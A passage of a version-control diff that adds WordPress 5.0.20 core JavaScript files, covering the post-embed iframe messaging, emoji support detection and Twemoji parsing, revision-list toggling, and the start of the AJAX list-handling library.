+			if ( 'rtl' === document.documentElement.getAttribute( 'dir' ) ) {
+				newTab = ( newTab === previousSibling ) ? nextSibling : previousSibling;
+			}
+
+			if ( newTab ) {
+				newTabChild = newTab.firstElementChild;
+
+				target.setAttribute( 'tabindex', '-1' );
+				target.setAttribute( 'aria-selected', false );
+				document.querySelector( '#' + target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' );
+
+				newTabChild.setAttribute( 'tabindex', '0' );
+				newTabChild.setAttribute( 'aria-selected', 'true' );
+				newTabChild.focus();
+				document.querySelector( '#' + newTabChild.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' );
+			}
+		}
+
+		if ( share_dialog_tabs ) {
+			for ( i = 0; i < share_dialog_tabs.length; i++ ) {
+				share_dialog_tabs[ i ].addEventListener( 'click', shareClickHandler );
+
+				share_dialog_tabs[ i ].addEventListener( 'keydown', shareKeyHandler );
+			}
+		}
+
+		document.addEventListener( 'keydown', function ( e ) {
+			if ( 27 === e.keyCode && -1 === share_dialog.className.indexOf( 'hidden' ) ) {
+				closeSharingDialog();
+			} else if ( 9 === e.keyCode ) {
+				constrainTabbing( e );
+			}
+		}, false );
+
+		function constrainTabbing( e ) {
+			// Need to re-get the selected tab each time.
+			var firstFocusable = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' );
+
+			if ( share_dialog_close === e.target && ! e.shiftKey ) {
+				firstFocusable.focus();
+				e.preventDefault();
+			} else if ( firstFocusable === e.target && e.shiftKey ) {
+				share_dialog_close.focus();
+				e.preventDefault();
+			}
+		}
+
+		if ( window.self === window.top ) {
+			return;
+		}
+
+		/**
+		 * Send this document's height to the parent (embedding) site.
+		 */
+		sendEmbedMessage( 'height', Math.ceil( document.body.getBoundingClientRect().height ) );
+
+		// Send the document's height again after the featured image has been loaded.
+		if ( featured_image ) {
+			featured_image.addEventListener( 'load', function() {
+				sendEmbedMessage( 'height', Math.ceil( document.body.getBoundingClientRect().height ) );
+			} );
+		}
+
+		/**
+		 * Detect clicks to external (_top) links.
+		 */
+		function linkClickHandler( e ) {
+			var target = e.target,
+				href;
+			if ( target.hasAttribute( 'href' ) ) {
+				href = target.getAttribute( 'href' );
+			} else {
+				href = target.parentElement.getAttribute( 'href' );
+			}
+
+			/**
+			 * Send link target to the parent (embedding) site.
+			 */
+			if ( href ) {
+				sendEmbedMessage( 'link', href );
+				e.preventDefault();
+			}
+		}
+
+		document.addEventListener( 'click', linkClickHandler );
+	}
+
+	/**
+	 * Iframe resize handler.
+	 */
+	function onResize() {
+		if ( window.self === window.top ) {
+			return;
+		}
+
+		clearTimeout( resizing );
+
+		resizing = setTimeout( function () {
+			sendEmbedMessage( 'height', Math.ceil( document.body.getBoundingClientRect().height ) );
+		}, 100 );
+	}
+
+	/**
+	 * Re-get the secret when it was added later on.
+	 */
+	function getSecret() {
+		if ( window.self === window.top || !!secret ) {
+			return;
+		}
+
+		secret = window.location.hash.replace( /.*secret=([\d\w]{10}).*/, '$1' );
+
+		clearTimeout( secretTimeout );
+
+		secretTimeout = setTimeout( function () {
+			getSecret();
+		}, 100 );
+	}
+
+	if ( supportedBrowser ) {
+		getSecret();
+		document.documentElement.className = document.documentElement.className.replace( /\bno-js\b/, '' ) + ' js';
+		document.addEventListener( 'DOMContentLoaded', onLoad, false );
+		window.addEventListener( 'load', onLoad, false );
+		window.addEventListener( 'resize', onResize, false );
+	}
+})( window, document );
Index: /tags/5.0.20/src/wp-includes/js/wp-embed.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-embed.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-embed.js	(revision 56912)
@@ -0,0 +1,133 @@
+/**
+ * WordPress inline HTML embed
+ *
+ * @since 4.4.0
+ *
+ * This file cannot have ampersands in it. This is to ensure
+ * it can be embedded in older versions of WordPress.
+ * See https://core.trac.wordpress.org/changeset/35708.
+ */
+(function ( window, document ) {
+	'use strict';
+
+	var supportedBrowser = false,
+		loaded = false;
+
+		if ( document.querySelector ) {
+			if ( window.addEventListener ) {
+				supportedBrowser = true;
+			}
+		}
+
+	/** @namespace wp */
+	window.wp = window.wp || {};
+
+	if ( !! window.wp.receiveEmbedMessage ) {
+		return;
+	}
+
+	window.wp.receiveEmbedMessage = function( e ) {
+		var data = e.data;
+
+		if ( ! data ) {
+			return;
+		}
+
+		if ( ! ( data.secret || data.message || data.value ) ) {
+			return;
+		}
+
+		if ( /[^a-zA-Z0-9]/.test( data.secret ) ) {
+			return;
+		}
+
+		var iframes = document.querySelectorAll( 'iframe[data-secret="' + data.secret + '"]' ),
+			blockquotes = document.querySelectorAll( 'blockquote[data-secret="' + data.secret + '"]' ),
+			allowedProtocols = new RegExp( '^https?:$', 'i' ),
+			i, source, height, sourceURL, targetURL;
+
+		for ( i = 0; i < blockquotes.length; i++ ) {
+			blockquotes[ i ].style.display = 'none';
+		}
+
+		for ( i = 0; i < iframes.length; i++ ) {
+			source = iframes[ i ];
+
+			if ( e.source !== source.contentWindow ) {
+				continue;
+			}
+
+			source.removeAttribute( 'style' );
+
+			/* Resize the iframe on request. */
+			if ( 'height' === data.message ) {
+				height = parseInt( data.value, 10 );
+				if ( height > 1000 ) {
+					height = 1000;
+				} else if ( ~~height < 200 ) {
+					height = 200;
+				}
+
+				source.height = height;
+			}
+
+			/* Link to a specific URL on request. */
+			if ( 'link' === data.message ) {
+				sourceURL = document.createElement( 'a' );
+				targetURL = document.createElement( 'a' );
+
+				sourceURL.href = source.getAttribute( 'src' );
+				targetURL.href = data.value;
+
+				/* Only follow link if the protocol is in the allow list. */
+				if ( ! allowedProtocols.test( targetURL.protocol ) ) {
+					continue;
+				}
+
+				/* Only continue if link hostname matches iframe's hostname. */
+				if ( targetURL.host === sourceURL.host ) {
+					if ( document.activeElement === source ) {
+						window.top.location.href = data.value;
+					}
+				}
+			}
+		}
+	};
+
+	function onLoad() {
+		if ( loaded ) {
+			return;
+		}
+
+		loaded = true;
+
+		var isIE10 = -1 !== navigator.appVersion.indexOf( 'MSIE 10' ),
+			isIE11 = !!navigator.userAgent.match( /Trident.*rv:11\./ ),
+			iframes = document.querySelectorAll( 'iframe.wp-embedded-content' ),
+			iframeClone, i, source, secret;
+
+		for ( i = 0; i < iframes.length; i++ ) {
+			source = iframes[ i ];
+
+			if ( ! source.getAttribute( 'data-secret' ) ) {
+				/* Add secret to iframe */
+				secret = Math.random().toString( 36 ).substr( 2, 10 );
+				source.src += '#?secret=' + secret;
+				source.setAttribute( 'data-secret', secret );
+			}
+
+			/* Remove security attribute from iframes in IE10 and IE11. */
+			if ( ( isIE10 || isIE11 ) ) {
+				iframeClone = source.cloneNode( true );
+				iframeClone.removeAttribute( 'security' );
+				source.parentNode.replaceChild( iframeClone, source );
+			}
+		}
+	}
+
+	if ( supportedBrowser ) {
+		window.addEventListener( 'message', window.wp.receiveEmbedMessage, false );
+		document.addEventListener( 'DOMContentLoaded', onLoad, false );
+		window.addEventListener( 'load', onLoad, false );
+	}
+})( window, document );
Index: /tags/5.0.20/src/wp-includes/js/wp-emoji-loader.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-emoji-loader.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-emoji-loader.js	(revision 56912)
@@ -0,0 +1,166 @@
+( function( window, document, settings ) {
+	var src, ready, ii, tests;
+
+	/*
+	 * Create a canvas element for testing native browser support
+	 * of emoji.
+	 */
+	var canvas = document.createElement( 'canvas' );
+	var context = canvas.getContext && canvas.getContext( '2d' );
+
+	/**
+	 * Check if two sets of Emoji characters render the same.
+	 *
+	 * @param set1 array Set of Emoji characters.
+	 * @param set2 array Set of Emoji characters.
+	 * @returns {boolean} True if the two sets render the same.
+	 */
+	function emojiSetsRenderIdentically( set1, set2 ) {
+		var stringFromCharCode = String.fromCharCode;
+
+		// Cleanup from previous test.
+		context.clearRect( 0, 0, canvas.width, canvas.height );
+		context.fillText( stringFromCharCode.apply( this, set1 ), 0, 0 );
+		var rendered1 = canvas.toDataURL();
+
+		// Cleanup from previous test.
+		context.clearRect( 0, 0, canvas.width, canvas.height );
+		context.fillText( stringFromCharCode.apply( this, set2 ), 0, 0 );
+		var rendered2 = canvas.toDataURL();
+
+		return rendered1 === rendered2;
+	}
+
+	/**
+	 * Detect if the browser supports rendering emoji or flag emoji. Flag emoji are a single glyph
+	 * made of two characters, so some browsers (notably, Firefox OS X) don't support them.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param type {String} Whether to test for support of "flag" or "emoji".
+	 * @return {Boolean} True if the browser can render emoji, false if it cannot.
+	 */
+	function browserSupportsEmoji( type ) {
+		var isIdentical;
+
+		if ( ! context || ! context.fillText ) {
+			return false;
+		}
+
+		/*
+		 * Chrome on OS X added native emoji rendering in M41. Unfortunately,
+		 * it doesn't work when the font is bolder than 500 weight. So, we
+		 * check for bold rendering support to avoid invisible emoji in Chrome.
+		 */
+		context.textBaseline = 'top';
+		context.font = '600 32px Arial';
+
+		switch ( type ) {
+			case 'flag':
+				/*
+				 * Test for UN flag compatibility. This is the least supported of the letter locale flags,
+				 * so gives us an easy test for full support.
+				 *
+				 * To test for support, we try to render it, and compare the rendering to how it would look if
+				 * the browser doesn't render it correctly ([U] + [N]).
+				 */
+				isIdentical = emojiSetsRenderIdentically(
+					[ 55356, 56826, 55356, 56819 ],
+					[ 55356, 56826, 8203, 55356, 56819 ]
+				);
+
+				if ( isIdentical ) {
+					return false;
+				}
+
+				/*
+				 * Test for English flag compatibility. England is a country in the United Kingdom, it
+				 * does not have a two letter locale code but rather an five letter sub-division code.
+				 *
+				 * To test for support, we try to render it, and compare the rendering to how it would look if
+				 * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
+				 */
+				isIdentical = emojiSetsRenderIdentically(
+					[ 55356, 57332, 56128, 56423, 56128, 56418, 56128, 56421, 56128, 56430, 56128, 56423, 56128, 56447 ],
+					[ 55356, 57332, 8203, 56128, 56423, 8203, 56128, 56418, 8203, 56128, 56421, 8203, 56128, 56430, 8203, 56128, 56423, 8203, 56128, 56447 ]
+				);
+
+				return ! isIdentical;
+			case 'emoji':
+				/*
+				 * She's the hero Emoji deserves, but not the one it needs right now.
+				 *
+				 * To test for support, try to render a new emoji (female superhero),
+				 * then compare it to how it would look if the browser doesn't render it correctly
+				 * (superhero + female sign).
+				 */
+				isIdentical = emojiSetsRenderIdentically(
+					[55358, 56760, 9792, 65039],
+					[55358, 56760, 8203, 9792, 65039]
+				);
+				return ! isIdentical;
+		}
+
+		return false;
+	}
+
+	function addScript( src ) {
+		var script = document.createElement( 'script' );
+
+		script.src = src;
+		script.defer = script.type = 'text/javascript';
+		document.getElementsByTagName( 'head' )[0].appendChild( script );
+	}
+
+	tests = Array( 'flag', 'emoji' );
+
+	settings.supports = {
+		everything: true,
+		everythingExceptFlag: true
+	};
+
+	for( ii = 0; ii < tests.length; ii++ ) {
+		settings.supports[ tests[ ii ] ] = browserSupportsEmoji( tests[ ii ] );
+
+		settings.supports.everything = settings.supports.everything && settings.supports[ tests[ ii ] ];
+
+		if ( 'flag' !== tests[ ii ] ) {
+			settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ tests[ ii ] ];
+		}
+	}
+
+	settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag;
+
+	settings.DOMReady = false;
+	settings.readyCallback = function() {
+		settings.DOMReady = true;
+	};
+
+	if ( ! settings.supports.everything ) {
+		ready = function() {
+			settings.readyCallback();
+		};
+
+		if ( document.addEventListener ) {
+			document.addEventListener( 'DOMContentLoaded', ready, false );
+			window.addEventListener( 'load', ready, false );
+		} else {
+			window.attachEvent( 'onload', ready );
+			document.attachEvent( 'onreadystatechange', function() {
+				if ( 'complete' === document.readyState ) {
+					settings.readyCallback();
+				}
+			} );
+		}
+
+		src = settings.source || {};
+
+		if ( src.concatemoji ) {
+			addScript( src.concatemoji );
+		} else if ( src.wpemoji && src.twemoji ) {
+			addScript( src.twemoji );
+			addScript( src.wpemoji );
+		}
+	}
+
+} )( window, document, window._wpemojiSettings );
Index: /tags/5.0.20/src/wp-includes/js/wp-emoji.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-emoji.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-emoji.js	(revision 56912)
@@ -0,0 +1,229 @@
+
+( function( window, settings ) {
+	function wpEmoji() {
+		var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,
+
+		// Compression and maintain local scope
+		document = window.document,
+
+		// Private
+		twemoji, timer,
+		loaded = false,
+		count = 0,
+		ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;
+
+		/**
+		 * Detect if the browser supports SVG.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @return {Boolean} True if the browser supports svg, false if not.
+		 */
+		function browserSupportsSvgAsImage() {
+			if ( !! document.implementation.hasFeature ) {
+				// Source: Modernizr
+				// https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
+				return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
+			}
+
+			// document.implementation.hasFeature is deprecated. It can be presumed
+			// if future browsers remove it, the browser will support SVGs as images.
+			return true;
+		}
+
+		/**
+		 * Runs when the document load event is fired, so we can do our first parse of the page.
+		 *
+		 * @since 4.2.0
+		 */
+		function load() {
+			if ( loaded ) {
+				return;
+			}
+
+			if ( typeof window.twemoji === 'undefined' ) {
+				// Break if waiting for longer than 30 sec.
+				if ( count > 600 ) {
+					return;
+				}
+
+				// Still waiting.
+				window.clearTimeout( timer );
+				timer = window.setTimeout( load, 50 );
+				count++;
+
+				return;
+			}
+
+			twemoji = window.twemoji;
+			loaded = true;
+
+			if ( MutationObserver ) {
+				new MutationObserver( function( mutationRecords ) {
+					var i = mutationRecords.length,
+						addedNodes, removedNodes, ii, node;
+
+					while ( i-- ) {
+						addedNodes = mutationRecords[ i ].addedNodes;
+						removedNodes = mutationRecords[ i ].removedNodes;
+						ii = addedNodes.length;
+
+						if (
+							ii === 1 && removedNodes.length === 1 &&
+							addedNodes[0].nodeType === 3 &&
+							removedNodes[0].nodeName === 'IMG' &&
+							addedNodes[0].data === removedNodes[0].alt &&
+							'load-failed' === removedNodes[0].getAttribute( 'data-error' )
+						) {
+							return;
+						}
+
+						while ( ii-- ) {
+							node = addedNodes[ ii ];
+
+							if ( node.nodeType === 3 ) {
+								if ( ! node.parentNode ) {
+									continue;
+								}
+
+								if ( ie11 ) {
+									/*
+									 * IE 11's implementation of MutationObserver is buggy.
+									 * It unnecessarily splits text nodes when it encounters a HTML
+									 * template interpolation symbol ( "{{", for example ). So, we
+									 * join the text nodes back together as a work-around.
+									 */
+									while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
+										node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
+										node.parentNode.removeChild( node.nextSibling );
+									}
+								}
+
+								node = node.parentNode;
+							}
+
+							if ( ! node || node.nodeType !== 1 ||
+								( node.className && typeof node.className === 'string' && node.className.indexOf( 'wp-exclude-emoji' ) !== -1 ) ) {
+
+								continue;
+							}
+
+							if ( test( node.textContent ) ) {
+								parse( node );
+							}
+						}
+					}
+				} ).observe( document.body, {
+					childList: true,
+					subtree: true
+				} );
+			}
+
+			parse( document.body );
+		}
+
+		/**
+		 * Test if a text string contains emoji characters.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param {String} text The string to test
+		 *
+		 * @return {Boolean} Whether the string contains emoji characters.
+		 */
+		function test( text ) {
+			// Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
+			var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
+			// Surrogate pair range. Only tests for the second half.
+			pair = /[\uDC00-\uDFFF]/;
+
+			if ( text ) {
+				return  pair.test( text ) || single.test( text );
+			}
+
+			return false;
+		}
+
+		/**
+		 * Given an element or string, parse any emoji characters into Twemoji images.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param {HTMLElement|String} object The element or string to parse.
+		 * @param {Object} args Additional options for Twemoji.
+		 */
+		function parse( object, args ) {
+			var params;
+
+			if ( settings.supports.everything || ! twemoji || ! object ||
+				( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {
+
+				return object;
+			}
+
+			args = args || {};
+			params = {
+				base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
+				ext:  browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
+				className: args.className || 'emoji',
+				callback: function( icon, options ) {
+					// Ignore some standard characters that TinyMCE recommends in its character map.
+					switch ( icon ) {
+						case 'a9':
+						case 'ae':
+						case '2122':
+						case '2194':
+						case '2660':
+						case '2663':
+						case '2665':
+						case '2666':
+							return false;
+					}
+
+					if ( settings.supports.everythingExceptFlag &&
+						! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags
+						! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon )             // Rainbow and pirate flags
+					) {
+						return false;
+					}
+
+					return ''.concat( options.base, icon, options.ext );
+				},
+				onerror: function() {
+					if ( twemoji.parentNode ) {
+						this.setAttribute( 'data-error', 'load-failed' );
+						twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
+					}
+				}
+			};
+
+			if ( typeof args.imgAttr === 'object' ) {
+				params.attributes = function() {
+					return args.imgAttr;
+				};
+			}
+
+			return twemoji.parse( object, params );
+		}
+
+		/**
+		 * Initialize our emoji support, and set up listeners.
+		 */
+		if ( settings ) {
+			if ( settings.DOMReady ) {
+				load();
+			} else {
+				settings.readyCallback = load;
+			}
+		}
+
+		return {
+			parse: parse,
+			test: test
+		};
+	}
+
+	window.wp = window.wp || {};
+	window.wp.emoji = new wpEmoji();
+
+} )( window, window._wpemojiSettings );
Index: /tags/5.0.20/src/wp-includes/js/wp-list-revisions.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-list-revisions.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-list-revisions.js	(revision 56912)
@@ -0,0 +1,24 @@
+(function(w) {
+	var init = function() {
+		var pr = document.getElementById('post-revisions'),
+		inputs = pr ? pr.getElementsByTagName('input') : [];
+		pr.onclick = function() {
+			var i, checkCount = 0, side;
+			for ( i = 0; i < inputs.length; i++ ) {
+				checkCount += inputs[i].checked ? 1 : 0;
+				side = inputs[i].getAttribute('name');
+				if ( ! inputs[i].checked &&
+				( 'left' == side && 1 > checkCount || 'right' == side && 1 < checkCount && ( ! inputs[i-1] || ! inputs[i-1].checked ) ) &&
+				! ( inputs[i+1] && inputs[i+1].checked && 'right' == inputs[i+1].getAttribute('name') ) )
+					inputs[i].style.visibility = 'hidden';
+				else if ( 'left' == side || 'right' == side )
+					inputs[i].style.visibility = 'visible';
+			}
+		};
+		pr.onclick();
+	};
+	if ( w && w.addEventListener )
+		w.addEventListener('load', init, false);
+	else if ( w && w.attachEvent )
+		w.attachEvent('onload', init);
+})(window);
Index: /tags/5.0.20/src/wp-includes/js/wp-lists.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-lists.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-lists.js	(revision 56912)
@@ -0,0 +1,854 @@
+/* global ajaxurl, wpAjax */
+
+/**
+ * @param {jQuery} $ jQuery object.
+ */
+( function( $ ) {
+var functions = {
+	add:     'ajaxAdd',
+	del:     'ajaxDel',
+	dim:     'ajaxDim',
+	process: 'process',
+	recolor: 'recolor'
+}, wpList;
+
+/**
+ * @namespace
+ */
+wpList = {
+
+	/**
+	 * @member {object}
+	 */
+	settings: {
+
+		/**
+		 * URL for Ajax requests.
+		 *
+		 * @member {string}
+		 */
+		url: ajaxurl,
+
+		/**
+		 * The HTTP method to use for Ajax requests.
+		 *
+		 * @member {string}
+		 */
+		type: 'POST',
+
+		/**
+		 * ID of the element the parsed Ajax response will be stored in.
+		 *
+		 * @member {string}
+		 */
+		response: 'ajax-response',
+
+		/**
+		 * The type of list.
+		 *
+		 * @member {string}
+		 */
+		what: '',
+
+		/**
+		 * CSS class name for alternate styling.
+		 *
+		 * @member {string}
+		 */
+		alt: 'alternate',
+
+		/**
+		 * Offset to start alternate styling from.
+		 *
+		 * @member {number}
+		 */
+		altOffset: 0,
+
+		/**
+		 * Color used in animation when adding an element.
+		 *
+		 * Can be 'none' to disable the animation.
+		 *
+		 * @member {string}
+		 */
+		addColor: '#ffff33',
+
+		/**
+		 * Color used in animation when deleting an element.
+		 *
+		 * Can be 'none' to disable the animation.
+		 *
+		 * @member {string}
+		 */
+		delColor: '#faafaa',
+
+		/**
+		 * Color used in dim add animation.
+		 *
+		 * Can be 'none' to disable the animation.
+		 *
+		 * @member {string}
+		 */
+		dimAddColor: '#ffff33',
+
+		/**
+		 * Color used in dim delete animation.
+		 *
+		 * Can be 'none' to disable the animation.
+		 *
+		 * @member {string}
+		 */
+		dimDelColor: '#ff3333',
+
+		/**
+		 * Callback that's run before a request is made.
+		 *
+		 * @callback wpList~confirm
+		 * @param {object}      this
+		 * @param {HTMLElement} list            The list DOM element.
+		 * @param {object}      settings        Settings for the current list.
+		 * @param {string}      action          The type of action to perform: 'add', 'delete', or 'dim'.
+		 * @param {string}      backgroundColor Background color of the list's DOM element.
+		 * @returns {boolean} Whether to proceed with the action or not.
+		 */
+		confirm: null,
+
+		/**
+		 * Callback that's run before an item gets added to the list.
+		 *
+		 * Allows to cancel the request.
+		 *
+		 * @callback wpList~addBefore
+		 * @param {object} settings Settings for the Ajax request.
+		 * @returns {object|boolean} Settings for the Ajax request or false to abort.
+		 */
+		addBefore: null,
+
+		/**
+		 * Callback that's run after an item got added to the list.
+		 *
+		 * @callback wpList~addAfter
+		 * @param {XML}    returnedResponse Raw response returned from the server.
+		 * @param {object} settings         Settings for the Ajax request.
+		 * @param {jqXHR}  settings.xml     jQuery XMLHttpRequest object.
+		 * @param {string} settings.status  Status of the request: 'success', 'notmodified', 'nocontent', 'error',
+		 *                                  'timeout', 'abort', or 'parsererror'.
+		 * @param {object} settings.parsed  Parsed response object.
+		 */
+		addAfter: null,
+
+		/**
+		 * Callback that's run before an item gets deleted from the list.
+		 *
+		 * Allows to cancel the request.
+		 *
+		 * @callback wpList~delBefore
+		 * @param {object}      settings Settings for the Ajax request.
+		 * @param {HTMLElement} list     The list DOM element.
+		 * @returns {object|boolean} Settings for the Ajax request or false to abort.
+		 */
+		delBefore: null,
+
+		/**
+		 * Callback that's run after an item got deleted from the list.
+		 *
+		 * @callback wpList~delAfter
+		 * @param {XML}    returnedResponse Raw response returned from the server.
+		 * @param {object} settings         Settings for the Ajax request.
+		 * @param {jqXHR}  settings.xml     jQuery XMLHttpRequest object.
+		 * @param {string} settings.status  Status of the request: 'success', 'notmodified', 'nocontent', 'error',
+		 *                                  'timeout', 'abort', or 'parsererror'.
+		 * @param {object} settings.parsed  Parsed response object.
+		 */
+		delAfter: null,
+
+		/**
+		 * Callback that's run before an item gets dim'd.
+		 *
+		 * Allows to cancel the request.
+		 *
+		 * @callback wpList~dimBefore
+		 * @param {object} settings Settings for the Ajax request.
+		 * @returns {object|boolean} Settings for the Ajax request or false to abort.
+		 */
+		dimBefore: null,
+
+		/**
+		 * Callback that's run after an item got dim'd.
+		 *
+		 * @callback wpList~dimAfter
+		 * @param {XML}    returnedResponse Raw response returned from the server.
+		 * @param {object} settings         Settings for the Ajax request.
+		 * @param {jqXHR}  settings.xml     jQuery XMLHttpRequest object.
+		 * @param {string} settings.status  Status of the request: 'success', 'notmodified', 'nocontent', 'error',
+		 *                                  'timeout', 'abort', or 'parsererror'.
+		 * @param {object} settings.parsed  Parsed response object.
+		 */
+		dimAfter: null
+	},
+
+	/**
+	 * Finds a nonce.
+	 *
+	 * 1. Nonce in settings.
+	 * 2. `_ajax_nonce` value in element's href attribute.
+	 * 3. `_ajax_nonce` input field that is a descendant of element.
+	 * 4. `_wpnonce` value in element's href attribute.
+	 * 5. `_wpnonce` input field that is a descendant of element.
+	 * 6. 0 if none can be found.
+	 *
+	 * @param {jQuery} element  Element that triggered the request.
+	 * @param {object} settings Settings for the Ajax request.
+	 * @returns {string|number} Nonce
+	 */
+	nonce: function( element, settings ) {
+		var url      = wpAjax.unserialize( element.attr( 'href' ) ),
+			$element = $( '#' + settings.element );
+
+		return settings.nonce || url._ajax_nonce || $element.find( 'input[name="_ajax_nonce"]' ).val() || url._wpnonce || $element.find( 'input[name="_wpnonce"]' ).val() || 0;
+	},
+
+	/**
+	 * Extract list item data from a DOM element.
+	 *
+	 * Example 1: data-wp-lists="delete:the-comment-list:comment-{comment_ID}:66cc66:unspam=1"
+	 * Example 2: data-wp-lists="dim:the-comment-list:comment-{comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved"
+	 *
+	 * Returns an unassociated array with the following data:
+	 * data[0] - Data identifier: 'list', 'add', 'delete', or 'dim'.
+	 * data[1] - ID of the corresponding list. If data[0] is 'list', the type of list ('comment', 'category', etc).
+	 * data[2] - ID of the parent element of all inputs necessary for the request.
+	 * data[3] - Hex color to be used in this request. If data[0] is 'dim', dim class.
+	 * data[4] - Additional arguments in query syntax that are added to the request. Example: 'post_id=1234'.
+	 *           If data[0] is 'dim', dim add color.
+	 * data[5] - Only available if data[0] is 'dim', dim delete color.
+	 * data[6] - Only available if data[0] is 'dim', additional arguments in query syntax that are added to the request.
+	 *
+	 * Result for Example 1:
+	 * data[0] - delete
+	 * data[1] - the-comment-list
+	 * data[2] - comment-{comment_ID}
+	 * data[3] - 66cc66
+	 * data[4] - unspam=1
+	 *
+	 * @param  {HTMLElement} element The DOM element.
+	 * @param  {string}      type    The type of data to look for: 'list', 'add', 'delete', or 'dim'.
+	 * @returns {Array} Extracted list item data.
+	 */
+	parseData: function( element, type ) {
+		var data = [], wpListsData;
+
+		try {
+			wpListsData = $( element ).data( 'wp-lists' ) || '';
+			wpListsData = wpListsData.match( new RegExp( type + ':[\\S]+' ) );
+
+			if ( wpListsData ) {
+				data = wpListsData[0].split( ':' );
+			}
+		} catch ( error ) {}
+
+		return data;
+	},
+
+	/**
+	 * Calls a confirm callback to verify the action that is about to be performed.
+	 *
+	 * @param {HTMLElement} list     The DOM element.
+	 * @param {object}      settings Settings for this list.
+	 * @param {string}      action   The type of action to perform: 'add', 'delete', or 'dim'.
+	 * @returns {object|boolean} Settings if confirmed, false if not.
+	 */
+	pre: function( list, settings, action ) {
+		var $element, backgroundColor, confirmed;
+
+		settings = $.extend( {}, this.wpList.settings, {
+			element: null,
+			nonce:   0,
+			target:  list.get( 0 )
+		}, settings || {} );
+
+		if ( $.isFunction( settings.confirm ) ) {
+			$element = $( '#' + settings.element );
+
+			if ( 'add' !== action ) {
+				backgroundColor = $element.css( 'backgroundColor' );
+				$element.css( 'backgroundColor', '#ff9966' );
+			}
+
+			confirmed = settings.confirm.call( this, list, settings, action, backgroundColor );
+
+			if ( 'add' !== action ) {
+				$element.css( 'backgroundColor', backgroundColor );
+			}
+
+			if ( ! confirmed ) {
+				return false;
+			}
+		}
+
+		return settings;
+	},
+
+	/**
+	 * Adds an item to the list via AJAX.
+	 *
+	 * @param {HTMLElement} element  The DOM element.
+	 * @param {object}      settings Settings for this list.
+	 * @returns {boolean} Whether the item was added.
+	 */
+	ajaxAdd: function( element, settings ) {
+		var list     = this,
+			$element = $( element ),
+			data     = wpList.parseData( $element, 'add' ),
+			formValues, formData, parsedResponse, returnedResponse;
+
+		settings = settings || {};
+		settings = wpList.pre.call( list, $element, settings, 'add' );
+
+		settings.element  = data[2] || $element.prop( 'id' ) || settings.element || null;
+		settings.addColor = data[3] ? '#' + data[3] : settings.addColor;
+
+		if ( ! settings ) {
+			return false;
+		}
+
+		if ( ! $element.is( '[id="' + settings.element + '-submit"]' ) ) {
+			return ! wpList.add.call( list, $element, settings );
+		}
+
+		if ( ! settings.element ) {
+			return true;
+		}
+
+		settings.action = 'add-' + settings.what;
+		settings.nonce  = wpList.nonce( $element, settings );
+
+		if ( ! wpAjax.validateForm( '#' + settings.element ) ) {
+			return false;
+		}
+
+		settings.data = $.param( $.extend( {
+			_ajax_nonce: settings.nonce,
+			action:      settings.action
+		}, wpAjax.unserialize( data[4] || '' ) ) );
+
+		formValues = $( '#' + settings.element + ' :input' ).not( '[name="_ajax_nonce"], [name="_wpnonce"], [name="action"]' );
+		formData   = $.isFunction( formValues.fieldSerialize ) ? formValues.fieldSerialize() : formValues.serialize();
+
+		if ( formData ) {
